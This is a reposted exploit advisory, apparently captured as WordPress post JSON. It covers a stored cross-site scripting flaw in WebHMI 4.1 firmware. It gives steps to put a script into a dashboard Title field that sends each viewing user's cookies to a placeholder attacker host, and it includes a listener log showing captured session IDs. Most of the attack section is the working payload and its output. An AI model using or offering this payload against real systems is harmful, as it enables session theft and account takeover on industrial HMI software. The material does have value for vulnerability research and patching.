# Exploit Title: WebHMI 4.1 – Stored Cross Site Scripting (XSS) (Authenticated)
\n# Date: 04\/01\/2022
\n# Exploit Author: Antonio Cuomo (arkantolo)
\n# Vendor Homepage: https:\/\/webhmi.com.ua\/en\/
\n# Version: WebHMI Firmware 4.1.1.7662
\n# Tested on: WebHMI Firmware 4.1.1.7662<\/p>\n
#Steps to Reproduce<\/p>\n
1. Login to admin account<\/p>\n
2. Add a new register or create new dashboard
\ninsert payload<\/p>\n
<script>var i=new Image;i.src=”http:\/\/ATTACKERIP\/?”+document.cookie;<\/script><\/p>\n
in Title field and save.<\/p>\n
# Dashboard section impact instantly all logged users.<\/p>\n
#Listener log:
\nGET \/?PHPSESSID=acaa76374df7418e81460b4a625cb457;%20i18next=en;%20X-WH-SESSION-ID=8a5d6c60bdab0704f32e792bc1d36a6f HTTP\/1.1
\nHost: 192.168.0.169:8080
\nConnection: keep-alive
\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/96.0.4664.110 Safari\/537.36
\nAccept: image\/avif,image\/webp,image\/apng,image\/svg+xml,image\/*,*\/*;q=0.8
\nSec-GPC: 1
\nReferer: http:\/\/192.168.0.153\/
\nAccept-Encoding: gzip, deflate
\nAccept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7<\/p>\n","protected":false},"excerpt":{"rendered":"
# Exploit Title: WebHMI 4.1 – Stored Cross Site Scripting (XSS) (Authenticated) # Date: 04\/01\/2022 # Exploit Author: Antonio Cuomo (arkantolo) # Vendor Homepage: https:\/\/webhmi.com.ua\/en\/ # Version: WebHMI Firmware 4.1.1.7662 # Tested on: WebHMI Firmware 4.1.1.7662 #Steps to Reproduce 1. Login to admin account 2. Add a new register or create new dashboard insert payload …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-21029","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21029","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=21029"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21029\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=21029"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=21029"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=21029"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}